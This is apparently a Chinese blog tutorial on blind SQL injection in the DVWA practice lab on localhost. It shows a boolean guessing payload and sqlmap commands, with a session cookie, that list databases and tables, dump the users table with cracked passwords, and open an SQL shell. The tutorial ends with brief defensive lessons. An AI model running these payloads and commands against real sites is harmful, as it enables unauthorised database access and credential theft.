之前的sql注入頁面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查詢結果和錯誤信息。而下面的頁面,返回信息只有存在和不存在兩種情況,錯誤信息頁面也被屏蔽了,這種情況下我們能得到的信息很少,且需要自己判斷注入是否成功,所以叫盲注(名字很形象啊~)
盲注的注入方法,簡單來說就一個字:猜 ...>_<.... 怎么猜呢?用猜數據庫名稱長度來舉個栗子:
輸入:1' and length(database()) = 1 #
輸出:User ID is MISSING from the database
根據輸出,數據庫名長度不為1,然后再猜測2,3,4。。。直到猜對為止,然后再來猜數據庫名稱的第一個字母,第二個字母。。。直到猜到數據庫名稱
Hmmm...這樣猜來猜去很費時間啊,這種事情是不是可以自動化一下,我都能想到,大神們早就想到了,就是這個工具:sqlmap
1. sqlmap介紹
這個工具是開源的,官網和github都可以下載。在使用之前,需要先安裝python環境。以下是sqlmap的自我介紹
2. sqlmap啟動測試
打開命令行工具,進入sqlmap解壓后所在的文件夾,我的路徑是E:\...\sqlmap,輸入python sqlmap.py,看到如下信息說明sqlmap已經可以正常使用
3. 用sqlmap獲取所有數據庫名稱
用F12看了下當前頁面,這個頁面是需要登錄憑證的,所以使用sqlmap時也要帶上登錄憑證
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs
輸出:sqlmap拿到了所有數據庫名稱
4. 用sqlmap獲取當前數據庫名稱
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db
輸出:當前數據庫名稱為dvwa
5. 用sqlmap獲取當前數據庫中的所有表名
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables
輸出:表名為guestbook和users
6. 用sqlmap獲取users表中的所有數據
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users --dump
輸出:拿到表中所有數據, 還把密碼給破解了。。。不要太貼心啊~
Mysql的默認密碼加密方式其實就是SHA1,如果你密碼不幸忘了,網上有在線解密網站 >_<
7. 運行sql語句
如果還想查看數據庫中其他表的數據,sqlmap還支持運行自定義sql語句(只支持查詢語句)
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=5dge4nuta0ongp0luebulu4jd6; security=low" --sql-shell
直接輸入sql查詢語句:
一點點感悟:
1. 敏感信息不要用太簡單的加密算法,很容易被破解。。。
2. 用cookie存儲登錄憑證有風險,或者說會增加風險
如需轉載,請注明出處,這是對他人勞動成果的尊重~